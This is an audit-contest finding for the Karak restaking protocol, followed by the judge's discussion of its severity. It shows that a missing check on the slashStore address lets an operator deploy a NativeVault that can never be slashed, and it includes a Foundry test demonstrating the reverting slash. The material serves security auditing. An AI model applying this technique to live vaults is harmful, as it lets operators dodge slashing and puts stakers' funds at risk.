The operator can create a `NativeVault` that can be silently unslashable.

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/entities/SlasherLib.sol#L134-L138 https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/NativeVault.sol#L308

Vulnerability details

Impact

An operator can create a NativeVault which always revert when slashAssets() is call and make the vault unslashable.

Proof of Concept

When an operator want to create a NativeVault, he call the deployVaults() function on the Core contract with a custom config struct to give informations for the deployment. The extraData params is used to give the manager, slahsStore and nodeImplementation addresses on the initialize() function of the NativeVault.

When an asset is allowed on the protocol, a slashingHandler address is associated with the asset address on the assetSlashingHandlers mapping.

NativeVault is used to make native restaking with the ETH of Beacon Chain validators of users. When a slashing is executed, the address of assetSlashingHandlers mapping is inserted as a params in the call slashAssets() :

    for (uint256 i = 0; i < queuedSlashing.vaults.length; i++) {
        IKarakBaseVault(queuedSlashing.vaults[i]).slashAssets(
            queuedSlashing.earmarkedStakes[i],
            self.assetSlashingHandlers[IKarakBaseVault(queuedSlashing.vaults[i]).asset()]
        );
    }

Then the function make this verification with the input address of slashingHandler:

    if (slashingHandler != self.slashStore) revert NotSlashStore();

If the operator, during the initialization, insert a slashStore address which is different from the assetSlashingHandlers address for ETH, the call on the NativeVault will always revert and make the vault slash impossible.

POC

You can add this PoC to the ./test/nativeRestaking/nativeVault.t.sol :

    function test_createUnslashableVault() public {
        //Setup
        vm.warp(1718549030);
        NativeVault unslashableVault;
        address badSlashStore = address(666);
        DSSContract dss = new DSSContract();

        vm.startPrank(address(dss));
        core.registerDSS(100000000000000000000);
        vm.stopPrank();       
        // Setup NativeNode implementation
        address nativeNodeImpl = address(new NativeNode());

        // Deploy Vaults
        VaultLib.Config[] memory vaultConfigs = new VaultLib.Config[](1);
        vaultConfigs[0] = VaultLib.Config({
            asset: Constants.DEAD_BEEF,
            decimals: 18,
            operator: operator,
            name: "NativeTestVault",
            symbol: "NTV",
            extraData: abi.encode(address(manager), badSlashStore, address(nativeNodeImpl))
        });

        vm.startPrank(operator);
        IDSS dssInterface = IDSS(address(dss));
        core.registerOperatorToDSS(dssInterface, bytes(""));
        IKarakBaseVault[] memory vaults = core.deployVaults(vaultConfigs, address(0));
        unslashableVault = NativeVault(address(vaults[0]));

        //Register vault staked for dss
        Operator.StakeUpdateRequest memory stakeRequest = Operator.StakeUpdateRequest({
            vault: address(unslashableVault),
            dss: dssInterface,
            toStake: true
        });
        Operator.QueuedStakeUpdate memory queuedStake = core.requestUpdateVaultStakeInDSS(stakeRequest);
        vm.warp(1718549030 + 10 days);
        core.finalizeUpdateVaultStakeInDSS(queuedStake);
        vm.stopPrank();

        vm.startPrank(address(dss));
        //Slash request 
        uint96[] memory slashPercentagesWad = new uint96[](1);
        slashPercentagesWad[0] = 10000000000000000000;
        address[] memory operatorVaults = new address[](1);
        operatorVaults[0] = address(unslashableVault);

        SlasherLib.SlashRequest memory slashingReq = SlasherLib.SlashRequest({
            operator: operator,
            slashPercentagesWad: slashPercentagesWad,
            vaults: operatorVaults
        });

        //Request and execute the slashing but revert
        SlasherLib.QueuedSlashing memory queuedSlashing = core.requestSlashing(slashingReq);
        vm.warp(1718549030 + 14 days);
        core.finalizeSlashing(queuedSlashing);

        vm.stopPrank();
    }

Add also this contract for the dss on the same file :

    contract DSSContract {
        uint256 variable;
        constructor() {
            variable = 1;
        }
        function returnVariable() external view returns(uint256 _variable) {
            _variable = variable;
        }
    }

And execute the command: forge test --mt test_createUnslashableVault -vvvvv

Tools Used

Manual Review

Recommended Mitigation Steps

You can add a verified slashingHandler for ETH on the Core contract and verify the operator use the correct slashStore params on the initialize() function in the NativeVault, or on the deployVaults() for NativeVault.

Assessed type

Invalid Validation

[dewpe]

We think it should be re-classified to med because it's ultimately the DSS' responsibility to figure out which operators and vaults to take in via the registrationHook.selector

[MiloTruck]

The crux of this issue and its duplicates is that for native vaults, vaultConfig.extraData has no input validation in when calling deployVaults(). This means the operator can set manager, slashStore and nodeImplementation to anything.

This issue has demonstrated how an operator can create an unslashable vault by creating it with slashStore as a different address than the whitelisted slashing handler for ETH. Slashing is core functionality of the protocol and being unable to do so would threaten the integrity of operators (eg. operator can act malicious, causing loss of funds, at no risk).

https://github.com/code-423n4/2024-07-karak-findings/issues/85 describes how the setting the manager will allow the operator to call restricted functions.

As such, I believe high severity is appropriate.

We think it should be re-classified to med because it's ultimately the DSS' responsibility to figure out which operators and vaults to take in via the registrationHook.selector

Given that the DSS implementation isn't in-scope and wardens did not know what registrationHook could/couldn't do during the contest, I don't think it is fair to downgrade the issue based on this.

[c4-judge]

MiloTruck marked the issue as satisfactory

[c4-judge]

MiloTruck marked the issue as selected for report

[ShaheenRehman]

I believe this is a low severity issue because of two reasons:

1st, as the sponsor mentioned, it is DSS' responsibility to figure out which operators and vaults to take in. And obviously, DSS will make sure that the he can easily slash vaults/operators or not, if he doesn't it is totally his mistake.

2ndly and more importantly, even if the DSS misses to validate that and he cannot slash the operator, then its not like he is not gonna be able to do anything, He will simply jail that operator and force them to unstake.

So this issue can be easily handled by the DSS and an operator is gonna be able to avoid slashing only 1 time.

I personally think this is a QA/low severity issue, maybe a medium but def not High Severity issue.

[MiloTruck]

I've already explained why I kept this as high in response to the sponsor, even though the DSS has the ability to reject operators.

Your escalation is just re-iterating whatever the sponsor said and speculating on DSS behavior.

This remains as high.